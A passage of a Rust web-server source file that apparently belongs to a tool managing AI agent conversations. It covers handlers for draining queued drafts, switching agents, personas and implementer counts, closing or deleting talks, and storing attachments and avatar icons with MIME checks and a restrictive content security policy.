9965    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9966    // remove the id - correctly, if this loop is ever left some other way -
9967    // but doing it there misses the lock this loop is already holding, which
9968    // is the exact gap `release` exists to close.
9969    let mut turn = Some(turn);
9970    loop {
9971        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9972            // The lease was taken over while a turn ran. Whatever is queued
9973            // stays a draft; running it here would race the new owner.
9974            tracing::warn!("talk {id} lost its turn lease; not draining further");
9975            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9976            if let Some(turn) = turn.take() {
9977                turn.release(&mut live);
9978            }
9979            break;
9980        }
9981        // `talk::drain` takes the store lock and can write/rename the talk
9982        // file. Keep the turn mutex out of that synchronous work: it protects
9983        // every talk's in-memory claim, not this talk's disk operation.
9984        let observed = live_set
9985            .lock()
9986            .unwrap_or_else(PoisonError::into_inner)
9987            .queued
9988            .get(&id)
9989            .copied()
9990            .unwrap_or(0);
9991        let drained = blocking({
9992            let talks = talks.clone();
9993            move || {
9994                let result = talk::drain(&mut talk, &talks);
9995                Ok((talk, result))
9996            }
9997        })
9998        .await;
9999        let (next_talk, result) = match drained {
10000            Ok(drained) => drained,
10001            Err(e) => {
10002                tracing::warn!(
10003                    status = %e.status,
10004                    message = %e.message,
10005                    "talk {id} could not start queued-text drain"
10006                );
10007                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10008                turn.take()
10009                    .expect("held for the whole loop until released here")
10010                    .release(&mut live);
10011                break;
10012            }
10013        };
10014        talk = next_talk;
10015        let drained = match result {
10016            Ok(Some(drained)) => drained,
10017            Ok(None) => {
10018                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10019                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10020                    continue;
10021                }
10022                turn.take()
10023                    .expect("held for the whole loop until released here")
10024                    .release(&mut live);
10025                break;
10026            }
10027            Err(e) => {
10028                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10029                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10030                turn.take()
10031                    .expect("held for the whole loop until released here")
10032                    .release(&mut live);
10033                break;
10034            }
10035        };
10036        if let Some(started) = started.take() {
10037            let _ = started.send(true);
10038        }
10039        let responded = match turn.as_ref() {
10040            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10041            None => Err(anyhow::anyhow!("the turn guard was released")),
10042        };
10043        if let Err(e) = responded {
10044            tracing::warn!("talk {id} turn failed: {e:#}");
10045        }
10046    }
10047    drop(turn);
10048    if let Some(started) = started {
10049        let _ = started.send(false);
10050    }
10051}
10052
10053/// Clear a queued draft only if it remains exactly the one the caller saw.
10054async fn talk_pending_clear(
10055    State(ui): State<Arc<Ui>>,
10056    Path(id): Path<String>,
10057    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10058) -> ApiResult<Json<TalkView>> {
10059    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10060    blocking(move || {
10061        let id = resolve_talk(&ui.talks, &id)?;
10062        let mut talk = ui.talks.get(&id)?;
10063        if !talk.status.open() {
10064            return Err(ApiError::conflict(format!(
10065                "talk {} is {} and takes no more turns",
10066                talk.short(),
10067                talk.status.as_str()
10068            )));
10069        }
10070        if !talk::clear_pending_if_matches(
10071            &mut talk,
10072            &ui.talks,
10073            &body.expected_text,
10074            &body.expected_attachments,
10075        )? {
10076            return Err(ApiError::conflict(
10077                "queued message changed; reload it before clearing",
10078            ));
10079        }
10080        let thinking = ui.is_thinking(&talk.id);
10081        Ok(Json(TalkView::new(talk, thinking, &ui)))
10082    })
10083    .await
10084}
10085
10086/// Atomically edit a queued draft's text while preserving its attachments.
10087/// The snapshot fields make a concurrent queue or drain a conflict rather
10088/// than silently discarding either message.
10089async fn talk_pending_edit(
10090    State(ui): State<Arc<Ui>>,
10091    Path(id): Path<String>,
10092    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10093) -> ApiResult<Json<TalkView>> {
10094    let admission = ui.begin_admission()?;
10095    admitted(admission, async move {
10096        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10097        let id = {
10098            let ui = Arc::clone(&ui);
10099            blocking(move || resolve_talk(&ui.talks, &id)).await?
10100        };
10101        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10102            .await
10103            .map_err(ApiError::from)?;
10104        let (view, reclaimed) = blocking({
10105            let ui = Arc::clone(&ui);
10106            move || {
10107                let mut talk = ui.talks.get(&id)?;
10108                if !talk.status.open() {
10109                    return Err(ApiError::conflict(format!(
10110                        "talk {} is {} and takes no more turns",
10111                        talk.short(),
10112                        talk.status.as_str()
10113                    )));
10114                }
10115                if !talk::edit_pending_message(
10116                    &mut talk,
10117                    &ui.talks,
10118                    &body.text,
10119                    &body.expected_text,
10120                    &body.expected_attachments,
10121                    body.message,
10122                )? {
10123                    return Err(ApiError::conflict(
10124                        "queued message changed; reload it before editing",
10125                    ));
10126                }
10127                let claim = match ui.begin_queued_talk_turn(&id)? {
10128                    Some(turn_guard) => {
10129                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10130                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10131                    }
10132                    None => None,
10133                };
10134                let thinking = ui.is_thinking(&id);
10135                Ok((TalkView::new(talk, thinking, &ui), claim))
10136            }
10137        })
10138        .await?;
10139        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10140            let talks = ui.talks.clone();
10141            #[cfg(not(test))]
10142            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10143            #[cfg(test)]
10144            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10145        }
10146        Ok(Json(view))
10147    })
10148    .await
10149}
10150
10151/// The 409 for a talk that takes no more turns.
10152fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10153    if talk.status.open() {
10154        return Ok(());
10155    }
10156    Err(ApiError::conflict(format!(
10157        "talk {} is {} and takes no more turns",
10158        talk.short(),
10159        talk.status.as_str()
10160    )))
10161}
10162
10163/// The body of `POST /api/talks/{id}/agent`.
10164#[derive(Debug, Deserialize)]
10165struct TalkAgent {
10166    agent: String,
10167}
10168
10169/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10170/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10171/// start a turn on the old session between the check and the write; one that
10172/// arrives in that window finds the talk busy and becomes a draft.
10173async fn talk_agent(
10174    State(ui): State<Arc<Ui>>,
10175    Path(id): Path<String>,
10176    Json(body): Json<TalkAgent>,
10177) -> ApiResult<Json<TalkView>> {
10178    let admission = ui.begin_admission()?;
10179    admitted(admission, async move {
10180        let id = {
10181            let ui = Arc::clone(&ui);
10182            blocking(move || resolve_talk(&ui.talks, &id)).await?
10183        };
10184        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10185            .await
10186            .map_err(ApiError::from)?;
10187        let repo = {
10188            let ui = Arc::clone(&ui);
10189            let id = id.clone();
10190            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10191        };
10192        let cfg = config_for(&repo).await?;
10193        // Refuse before taking the claim; see `talk_implementers`.
10194        {
10195            let ui = Arc::clone(&ui);
10196            let id = id.clone();
10197            let cfg = cfg.clone();
10198            let wanted = body.agent.clone();
10199            blocking(move || {
10200                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10201                    .map_err(ApiError::bad_request_from)?;
10202                refuse_if_closed(&ui.talks.get(&id)?)
10203            })
10204            .await?;
10205        }
10206        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10207            return Err(ApiError::conflict(
10208                "a talk turn is running; change the agent once it has answered",
10209            ));
10210        };
10211        let switched = {
10212            let ui = Arc::clone(&ui);
10213            let id = id.clone();
10214            let cfg = cfg.clone();
10215            blocking(move || {
10216                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10217                    .map_err(ApiError::bad_request_from)?;
10218                let mut talk = ui.talks.get(&id)?;
10219                if !talk.status.open() {
10220                    return Err(ApiError::conflict(format!(
10221                        "talk {} is {} and takes no more turns",
10222                        talk.short(),
10223                        talk.status.as_str()
10224                    )));
10225                }
10226                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10227                Ok(talk)
10228            })
10229            .await
10230        };
10231        // A `/say` that landed while this held the claim saw the talk busy and
10232        // left a durable draft, trusting the claim's owner to drain it. So the
10233        // claim is settled whatever the outcome. Release an empty draft's claim
10234        // before replying; queued drafts continue independently of the handler.
10235        let observed = ui.queued_generation(&id);
10236        let fresh = {
10237            let ui = Arc::clone(&ui);
10238            let id = id.clone();
10239            blocking(move || Ok(ui.talks.get(&id)?)).await
10240        };
10241        let draining = match fresh {
10242            Ok(talk) => {
10243                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10244            }
10245            Err(_) => false,
10246        };
10247        let talk = switched?;
10248        Ok(Json(TalkView::new(talk, draining, &ui)))
10249    })
10250    .await
10251}
10252
10253/// The body of `POST /api/talks/{id}/persona`.
10254#[derive(Debug, Deserialize)]
10255struct TalkPersona {
10256    persona: String,
10257}
10258
10259/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10260/// like [`talk_agent`]: the turn guard is held for the change and always handed
10261/// to `drain_loop`, so a draft left meanwhile is not stranded.
10262async fn talk_persona(
10263    State(ui): State<Arc<Ui>>,
10264    Path(id): Path<String>,
10265    Json(body): Json<TalkPersona>,
10266) -> ApiResult<Json<TalkView>> {
10267    let admission = ui.begin_admission()?;
10268    admitted(admission, async move {
10269        let id = {
10270            let ui = Arc::clone(&ui);
10271            blocking(move || resolve_talk(&ui.talks, &id)).await?
10272        };
10273        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10274            .await
10275            .map_err(ApiError::from)?;
10276        let repo = {
10277            let ui = Arc::clone(&ui);
10278            let id = id.clone();
10279            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10280        };
10281        let cfg = config_for(&repo).await?;
10282        // Refuse before taking the claim; see `talk_implementers`.
10283        {
10284            let ui = Arc::clone(&ui);
10285            let id = id.clone();
10286            let cfg = cfg.clone();
10287            let wanted = body.persona.clone();
10288            blocking(move || {
10289                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10290                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10291                }
10292                refuse_if_closed(&ui.talks.get(&id)?)
10293            })
10294            .await?;
10295        }
10296        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10297            return Err(ApiError::conflict(
10298                "a talk turn is running; change the persona once it has answered",
10299            ));
10300        };
10301        let switched = {
10302            let ui = Arc::clone(&ui);
10303            let id = id.clone();
10304            let cfg = cfg.clone();
10305            blocking(move || {
10306                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10307                    return Err(ApiError::bad_request(format!(
10308                        "unknown persona `{}`",
10309                        body.persona
10310                    )));
10311                };
10312                let mut talk = ui.talks.get(&id)?;
10313                if !talk.status.open() {
10314                    return Err(ApiError::conflict(format!(
10315                        "talk {} is {} and takes no more turns",
10316                        talk.short(),
10317                        talk.status.as_str()
10318                    )));
10319                }
10320                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10321                Ok(talk)
10322            })
10323            .await
10324        };
10325        // As in `talk_agent`: settle the claim before replying, even on refusal.
10326        let observed = ui.queued_generation(&id);
10327        let fresh = {
10328            let ui = Arc::clone(&ui);
10329            let id = id.clone();
10330            blocking(move || Ok(ui.talks.get(&id)?)).await
10331        };
10332        let draining = match fresh {
10333            Ok(talk) => {
10334                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10335            }
10336            Err(_) => false,
10337        };
10338        let talk = switched?;
10339        Ok(Json(TalkView::new(talk, draining, &ui)))
10340    })
10341    .await
10342}
10343
10344/// The body of `POST /api/talks/{id}/implementers`.
10345#[derive(Debug, Deserialize)]
10346struct TalkImplementers {
10347    implementers: u8,
10348}
10349
10350/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10351/// like [`talk_agent`]: the turn guard is held for the change and always handed
10352/// to `drain_loop`, so a draft left meanwhile is not stranded.
10353async fn talk_implementers(
10354    State(ui): State<Arc<Ui>>,
10355    Path(id): Path<String>,
10356    Json(body): Json<TalkImplementers>,
10357) -> ApiResult<Json<TalkView>> {
10358    let admission = ui.begin_admission()?;
10359    admitted(admission, async move {
10360        let id = {
10361            let ui = Arc::clone(&ui);
10362            blocking(move || resolve_talk(&ui.talks, &id)).await?
10363        };
10364        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10365            .await
10366            .map_err(ApiError::from)?;
10367        let repo = {
10368            let ui = Arc::clone(&ui);
10369            let id = id.clone();
10370            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10371        };
10372        let cfg = config_for(&repo).await?;
10373        // Refuse a request that cannot succeed before taking the claim: a claim
10374        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10375        // moment, so a refusal would make the next request see "busy" instead of
10376        // its own answer. The checks after the claim stay the ones that decide.
10377        {
10378            let ui = Arc::clone(&ui);
10379            let id = id.clone();
10380            let cfg = cfg.clone();
10381            let wanted = body.implementers;
10382            blocking(move || {
10383                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10384                refuse_if_closed(&ui.talks.get(&id)?)
10385            })
10386            .await?;
10387        }
10388        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10389            return Err(ApiError::conflict(
10390                "a talk turn is running; change the implementers once it has answered",
10391            ));
10392        };
10393        let switched = {
10394            let ui = Arc::clone(&ui);
10395            let id = id.clone();
10396            let cfg = cfg.clone();
10397            blocking(move || {
10398                let chosen = talk::check_implementers(body.implementers, &cfg)
10399                    .map_err(ApiError::bad_request)?;
10400                let mut talk = ui.talks.get(&id)?;
10401                if !talk.status.open() {
10402                    return Err(ApiError::conflict(format!(
10403                        "talk {} is {} and takes no more turns",
10404                        talk.short(),
10405                        talk.status.as_str()
10406                    )));
10407                }
10408                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10409                Ok(talk)
10410            })
10411            .await
10412        };
10413        // As in `talk_agent`: settle the claim before replying, even on refusal.
10414        let observed = ui.queued_generation(&id);
10415        let fresh = {
10416            let ui = Arc::clone(&ui);
10417            let id = id.clone();
10418            blocking(move || Ok(ui.talks.get(&id)?)).await
10419        };
10420        let draining = match fresh {
10421            Ok(talk) => {
10422                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10423            }
10424            Err(_) => false,
10425        };
10426        let talk = switched?;
10427        Ok(Json(TalkView::new(talk, draining, &ui)))
10428    })
10429    .await
10430}
10431
10432/// `POST /api/talks/{id}/close`.
10433async fn talk_close(
10434    State(ui): State<Arc<Ui>>,
10435    Path(id): Path<String>,
10436) -> ApiResult<Json<TalkView>> {
10437    blocking(move || {
10438        let id = resolve_talk(&ui.talks, &id)?;
10439        let mut talk = ui.talks.get(&id)?;
10440        talk::close(&mut talk, &ui.talks).map_err(|error| {
10441            if error.is::<talk::ClosePendingInput>() {
10442                ApiError::conflict(format!("{error:#}"))
10443            } else {
10444                ApiError::from(error)
10445            }
10446        })?;
10447        let thinking = ui.is_thinking(&talk.id);
10448        Ok(Json(TalkView::new(talk, thinking, &ui)))
10449    })
10450    .await
10451}
10452
10453/// `POST /api/talks/{id}/reopen`.
10454async fn talk_reopen(
10455    State(ui): State<Arc<Ui>>,
10456    Path(id): Path<String>,
10457) -> ApiResult<Json<TalkView>> {
10458    blocking(move || {
10459        let id = resolve_talk(&ui.talks, &id)?;
10460        let mut talk = ui.talks.get(&id)?;
10461        talk::reopen(&mut talk, &ui.talks)?;
10462        let thinking = ui.is_thinking(&talk.id);
10463        Ok(Json(TalkView::new(talk, thinking, &ui)))
10464    })
10465    .await
10466}
10467
10468/// `DELETE /api/talks/{id}`.
10469///
10470/// Removes the conversation's record and artifacts outright, unlike
10471/// [`talk_close`] which keeps the record as history. A turn already in
10472/// flight is not refused here the way [`run_delete`] refuses a live run:
10473/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10474/// under [`Talks::guard`], that the record they are about to write back is
10475/// still there, so a delete racing a turn is safe without this route having
10476/// to know a turn is running at all.
10477async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10478    blocking(move || {
10479        let id = resolve_talk(&ui.talks, &id)?;
10480        ui.talks.remove(&id)?;
10481        Ok(StatusCode::NO_CONTENT)
10482    })
10483    .await
10484}
10485
10486fn talk_ids(root: &FsPath) -> Vec<String> {
10487    std::fs::read_dir(root)
10488        .into_iter()
10489        .flatten()
10490        .flatten()
10491        .filter_map(|e| {
10492            let path = e.path();
10493            if path.extension().is_some_and(|ext| ext == "json") {
10494                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10495            } else {
10496                None
10497            }
10498        })
10499        .collect()
10500}
10501
10502/// Expand an id or short id to exactly one talk id.
10503fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10504    if plain_record_id(id) && store.path_of(id).is_file() {
10505        return Ok(id.to_owned());
10506    }
10507    pick(talk_ids(store.root()), id, "talk")
10508}
10509
10510/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10511/// future `talk-say`.
10512async fn talk_attachment_post(
10513    State(ui): State<Arc<Ui>>,
10514    Path(id): Path<String>,
10515    headers: HeaderMap,
10516    body: Bytes,
10517) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10518    let mime = validate_attachment(&headers, &body)?;
10519    let name = filename_header(&headers);
10520    let data = body.to_vec();
10521    blocking(move || {
10522        let id = resolve_talk(&ui.talks, &id)?;
10523        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10524        Ok((StatusCode::CREATED, Json(att)))
10525    })
10526    .await
10527}
10528
10529/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10530/// `<img>` tag in the transcript.
10531async fn talk_attachment_get(
10532    State(ui): State<Arc<Ui>>,
10533    Path((id, att)): Path<(String, String)>,
10534) -> ApiResult<Response> {
10535    blocking(move || {
10536        let id = resolve_talk(&ui.talks, &id)?;
10537        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10538            return Err(ApiError::not_found(format!(
10539                "talk {id} has no attachment `{att}`"
10540            )));
10541        };
10542        Ok(attachment_response(&meta.mime, data))
10543    })
10544    .await
10545}
10546
10547/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10548/// the icon setting, so changing it changes the URL.
10549fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10550    let id = avatar_encode(&p.id);
10551    format!(
10552        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10553        persona_icon::fingerprint(
10554            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10555        )
10556    )
10557}
10558
10559#[derive(Debug, Default, Deserialize)]
10560struct AvatarQuery {
10561    persona: Option<String>,
10562    /// Set by the page after the first load failed: skip the `icon`.
10563    builtin: Option<String>,
10564}
10565
10566/// Served with every built-in avatar: it is an image, so nothing else may run.
10567const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10568
10569fn builtin_avatar(id: &str) -> Response {
10570    svg_avatar(persona_icon::builtin_svg(id))
10571}
10572
10573async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10574    raster_or_builtin(
10575        read_icon_file(&avatar_setting_path(&ui.home, None))
10576            .filter(|_| q.builtin.is_none())
10577            .as_deref(),
10578        persona_icon::operator_svg(),
10579    )
10580}
10581
10582fn svg_avatar(svg: &'static str) -> Response {
10583    (
10584        [
10585            (header::CONTENT_TYPE, "image/svg+xml"),
10586            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10587            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10588            (header::CACHE_CONTROL, "no-cache"),
10589        ],
10590        svg,
10591    )
10592        .into_response()
10593}
10594
10595fn avatar_encode(value: &str) -> String {
10596    value
10597        .bytes()
10598        .map(|b| {
10599            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10600                char::from(b).to_string()
10601            } else {
10602                format!("%{b:02X}")
10603            }
10604        })
10605        .collect()
10606}
10607
10608// Display-only overrides live outside configuration and conversation records.
10609fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10610    let Some(id) = persona else {
10611        return home.join("avatars/operator.data");
10612    };
10613    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10614    let mut path = home.join("avatars/personas");
10615    for chunk in encoded.as_bytes().chunks(100) {
10616        path.push(std::str::from_utf8(chunk).expect("hex"));
10617    }
10618    path.join("icon.data")
10619}
10620
10621fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10622    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10623        Some(value) if value == "builtin" => Some(String::new()),
10624        Some(value) => Some(value),
10625        None => configured.map(str::to_owned),
10626    }
10627}
10628
10629fn operator_icon_url(home: &FsPath) -> String {
10630    format!(
10631        "/avatars/operator.svg?v={}",
10632        persona_icon::fingerprint(
10633            read_icon_file(&avatar_setting_path(home, None))
10634                .as_deref()
10635                .or(Some(persona_icon::operator_svg()))
10636        )
10637    )
10638}
10639
10640fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10641    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10642        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10643            attachment_response(mime, bytes)
10644        }
10645        _ => svg_avatar(builtin),
10646    };
10647    response
10648        .headers_mut()
10649        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10650    response
10651}
10652
10653#[derive(Default, Deserialize)]
10654struct AvatarSettingsQuery {
10655    repo: Option<PathBuf>,
10656    persona: Option<String>,
10657    builtin: Option<String>,
10658    inherit: Option<String>,
10659}
10660
10661fn avatar_settings_specs(
10662    ui: &Ui,
10663    repo: Option<PathBuf>,
10664) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10665    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10666    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10667        .map(|cfg| cfg.talk.personas)
10668        .unwrap_or_default();
10669    Ok((repo, specs))
10670}
10671
10672fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10673    let Ok(entries) = std::fs::read_dir(path) else {
10674        return;
10675    };
10676    for entry in entries.flatten() {
10677        let name = entry.file_name().to_string_lossy().into_owned();
10678        if name == "icon.data" {
10679            let bytes: Option<Vec<u8>> = prefix
10680                .as_bytes()
10681                .chunks(2)
10682                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10683                .collect();
10684            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10685                out.push(id);
10686            }
10687        } else if name.len() <= 100
10688            && !name.is_empty()
10689            && name.bytes().all(|b| b.is_ascii_hexdigit())
10690            && entry.file_type().is_ok_and(|t| t.is_dir())
10691        {
10692            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10693        }
10694    }
10695}
10696
10697async fn avatar_settings_get(
10698    State(ui): State<Arc<Ui>>,
10699    Query(q): Query<AvatarSettingsQuery>,
10700) -> ApiResult<Json<serde_json::Value>> {
10701    blocking(move || {
10702        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10703        let mut catalog = persona::catalog(&specs);
10704        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10705        let mut saved = Vec::new();
10706        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10707        for id in saved {
10708            if !catalog.iter().any(|p| p.id == id) {
10709                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10710            }
10711        }
10712        let personas: Vec<_> = catalog.iter().map(|p| {
10713            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10714            let override_state = match saved.as_deref() {
10715                Some("builtin") => "builtin",
10716                Some(_) => "custom",
10717                None => "inherit",
10718            };
10719            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10720            serde_json::json!({"id":p.id,"name":p.name,
10721                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10722                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10723                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10724        }).collect();
10725        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10726    }).await
10727}
10728
10729async fn settings_persona_avatar(
10730    State(ui): State<Arc<Ui>>,
10731    Query(q): Query<AvatarSettingsQuery>,
10732) -> ApiResult<Response> {
10733    blocking(move || {
10734        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10735        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10736        let found = persona::find(&specs, id);
10737        let icon =
10738            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10739        Ok(raster_or_builtin(
10740            icon.as_deref().filter(|_| q.builtin.is_none()),
10741            persona_icon::builtin_svg(id),
10742        ))
10743    })
10744    .await
10745}
10746
10747fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10748    if q.persona
10749        .as_ref()
10750        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10751    {
10752        return Err(ApiError::bad_request("invalid persona id"));
10753    }
10754    Ok(())
10755}
10756
10757async fn avatar_settings_put(
10758    State(ui): State<Arc<Ui>>,
10759    Query(q): Query<AvatarSettingsQuery>,
10760    Json(upload): Json<MagiIconUpload>,
10761) -> ApiResult<Json<serde_json::Value>> {
10762    blocking(move || {
10763        validate_avatar_target(&q)?;
10764        save_icon_file(
10765            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10766            &upload.icon,
10767        )
10768        .map_err(ApiError::bad_request_from)?;
10769        Ok(Json(serde_json::json!({"saved":true})))
10770    })
10771    .await
10772}
10773
10774async fn avatar_settings_delete(
10775    State(ui): State<Arc<Ui>>,
10776    Query(q): Query<AvatarSettingsQuery>,
10777) -> ApiResult<Json<serde_json::Value>> {
10778    blocking(move || {
10779        validate_avatar_target(&q)?;
10780        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10781        if q.persona.is_some() && q.inherit.is_none() {
10782            atomic_icon_write(&path, "builtin")?;
10783        } else {
10784            match std::fs::remove_file(path) {
10785                Ok(()) => (),
10786                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10787                Err(e) => return Err(anyhow::Error::from(e).into()),
10788            }
10789        }
10790        Ok(Json(serde_json::json!({"saved":true})))
10791    })
10792    .await
10793}
10794
10795// The global MAGI icon is deliberately independent of repository configuration.
10796fn magi_icon_path(home: &FsPath) -> PathBuf {
10797    home.join("magi-icon.data")
10798}
10799
10800fn read_magi_icon(home: &FsPath) -> Option<String> {
10801    read_icon_file(&magi_icon_path(home))
10802}
10803
10804fn read_icon_file(path: &FsPath) -> Option<String> {
10805    let metadata = std::fs::metadata(path).ok()?;
10806    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10807        return None;
10808    }
10809    let file = std::fs::File::open(path).ok()?;
10810    use std::io::Read;
10811    let mut text = String::new();
10812    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10813        .read_to_string(&mut text)
10814        .ok()?;
10815    if text.len() > persona_icon::ICON_MAX_BYTES {
10816        return None;
10817    }
10818    if text == "builtin" {
10819        return Some(text);
10820    }
10821    validate_uploaded_icon(&text).ok()?;
10822    Some(text)
10823}
10824
10825fn magi_icon_url(home: &FsPath) -> String {
10826    format!(
10827        "/avatars/magi?v={}",
10828        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10829    )
10830}
10831
10832async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10833    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10834}
10835
10836#[derive(Deserialize)]
10837struct MagiIconUpload {
10838    icon: String,
10839}
10840
10841fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10842    save_icon_file(&magi_icon_path(home), icon)
10843}
10844
10845fn validate_uploaded_icon(icon: &str) -> Result<()> {
10846    if !icon.starts_with("data:") {
10847        anyhow::bail!("upload a raster image");
10848    }
10849    let (mime, bytes) = persona_icon::load(icon)?;
10850    if sniffed_mime(&bytes) != Some(mime) {
10851        anyhow::bail!("image content does not match its type");
10852    }
10853    Ok(())
10854}
10855
10856fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10857    validate_uploaded_icon(icon)?;
10858    atomic_icon_write(path, icon)
10859}
10860
10861fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10862    let home = path.parent().expect("icon parent");
10863    std::fs::create_dir_all(home)?;
10864    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10865    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10866    let result = (|| -> Result<()> {
10867        use std::io::Write;
10868        let mut file = std::fs::OpenOptions::new()
10869            .write(true)
10870            .create_new(true)
10871            .open(&temp)?;
10872        file.write_all(icon.as_bytes())?;
10873        file.sync_all()?;
10874        std::fs::rename(&temp, path)?;
10875        Ok(())
10876    })();
10877    let _ = std::fs::remove_file(temp);
10878    result?;
10879    Ok(())
10880}
10881
10882async fn magi_icon_put(
10883    State(ui): State<Arc<Ui>>,
10884    Json(upload): Json<MagiIconUpload>,
10885) -> ApiResult<Json<serde_json::Value>> {
10886    blocking(move || {
10887        if !upload.icon.starts_with("data:") {
